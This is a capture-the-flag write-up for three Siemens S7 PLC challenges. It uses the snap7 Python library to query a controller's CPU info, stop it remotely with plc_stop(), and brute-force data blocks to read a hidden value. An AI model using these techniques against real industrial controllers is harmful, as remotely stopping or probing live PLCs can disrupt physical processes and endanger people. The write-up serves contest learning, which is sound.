~/

ECW 2025 Siemens s7 challenges - [network]

For to a better understanding of this writeup, unplug your brain and put it in another place.

Who am I

Difficulty : Easy

Author : DGA

Topics : SIEMENS, PLC, network

Description : There is a critical equipment on the network, retrieve as much information as possible about it. The flag is an hardware information in ECW{…} format.

So we need to find information about the PLC.

First we need to know how to interact with it. We don’t even know at first what we are dealing with.

On the challenge description we got an image giving us an hint about the brand which is SIEMENS.

blurry plc

We need to get information from the PLC so we google : “get information siemens plc python”

We get a lot of posts talking about snap7 :

Snap7 is a library that provides access to Siemens PLCs via the TCP/IP protocol. It allows you to access Siemens PLCs using Python, C#, C++, Delphi, Java, and many other programming languages.

So let’s have look to snap7 documentation.

Looking in the Client

CTRL+F and look for “information”.

We get four functions :

  • get_cp_info()
  • get_cpu_info()
  • get_pg_block_info(block: bytearray)
  • get_block_info(block_type: Block, db_number: int)

We will try the two firsts function as it doesn’t need additionnal information.

We don’t know how to connect so let’s CTRL-F “connect”.

And we get :

1
connect(address: str, rack: int, slot: int, tcp_port: int = 102)

Let’s copy the example as it will take too long to code :

1
2
3
4
5
import snap7

client = snap7.client.Client()

client.connect("challenges.challenge-ecw.eu", 0, 0, 34910)  

It says ModuleNotFoundError: No module named 'snap7'.

So we install the module :

pip install python-snap7

And we retry but got another error : b' TCP : Invalid address' .

So we guess we need an IP as in the example.

We use google again with the search “get ip from domain name”, because using dig challenges.challenge-ecw.eu is too guessy.

So on https://www.nslookup.io/domains/challenges.challenge-ecw.eu/webservers/ we got 51.75.241.106.

Our new script is

1
2
3
4
5
import snap7

client = snap7.client.Client()

client.connect("51.75.241.106", 0, 0, 34910)  

And print the info: print(client.get_cpu_info())

1
b'CPU 317-2 PN/DP' SerialNumber: b'ECW{FRLCUR289}' ASName: b'PLC_56' Copyright: b'Original Siemens Equipment' ModuleName: b'CPU 317-2 PN/DP

And we got our first flag : ECW{FRLCUR289}

Stop this PLC

Difficulty : Easy

Author : DGA

Description : Your workshop colleague challenges you to stop the PLC. If you succeed, it will return a flag in the format ECW{…}.

So we need to stop the PLC.

You know the trick : CTRL+F “stop” on the documentation.

Only one relevant function :

  • plc_stop()

new script :

1
2
3
4
5
6
7
import snap7

client = snap7.client.Client()

client.connect("51.75.241.106", 0, 0, 34910)

client.plc_stop()

No output.

confused baby

Now, heavenly guess, we open a wireshark and see how we can see EVERY data.

We filter on our port : tcp.port == 34910 (we also googled for this filter), and we read every packet and get the flag :

Well Done !! ECW{S7-315-stop}

Hidden value

Difficulty : Medium

Author : DGA

Description : A device contains a critical value. Retrieve it. The flag is stored as a text field in the ECW{…} format.

We need to read a data so let’s CTRL-F “read”, here are the results :

  • ab_read(start: int, size: int)
  • ct_read(start: int, amount: int)
  • db_read(db_number: int, start: int, size: int)
  • eb_read(start: int, size: int)
  • mb_read(start: int, size: int)
  • read_area(area: Area, db_number: int, start: int, size: int)
  • read_szl(id_: int, index: int = 0)
  • read_szl_list()
  • tm_read(start: int, amount: int)

We try every function with a start of 0 and the max size but nothing interesting.

We notice that read_szl, read_area and db_read take a index

So we don’t try to think and immediately bruteforce the index starting with db_read function with a size of 4 as in the example :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import ctypes
import snap7
from tqdm import tqdm

plc = snap7.client.Client()

plc.connect('51.75.241.106', 0, 1, 34914) 

found_dbs = []

for db_num in range(1, 10000): 
    try:
        data = plc.db_read(db_num, 0, 4)
        print(data)
        found_dbs.append(db_num)
        break
    except Exception as e:
        continue

print(found_dbs)
print(plc.db_read(found_dbs[0], 0, 100))

And we get the flag on DB 6485 : b'{Variable-Flag-159}'